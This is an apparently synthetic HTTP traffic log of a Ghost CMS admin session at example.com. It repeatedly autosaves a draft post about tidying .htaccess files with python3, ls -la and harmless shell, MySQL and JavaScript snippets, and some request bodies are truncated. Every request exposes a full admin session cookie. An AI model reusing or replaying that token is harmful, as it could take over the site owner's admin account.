guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8147", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "GET", "target": "/ghost/assets/code-editor-view-BY_ieC4h.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/dist-CxXAu_cv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/dist-DbQ0Bmfy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/dist-D9v2t9Oj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/dist-DOtgfBo2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8206", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8145", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8330", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in 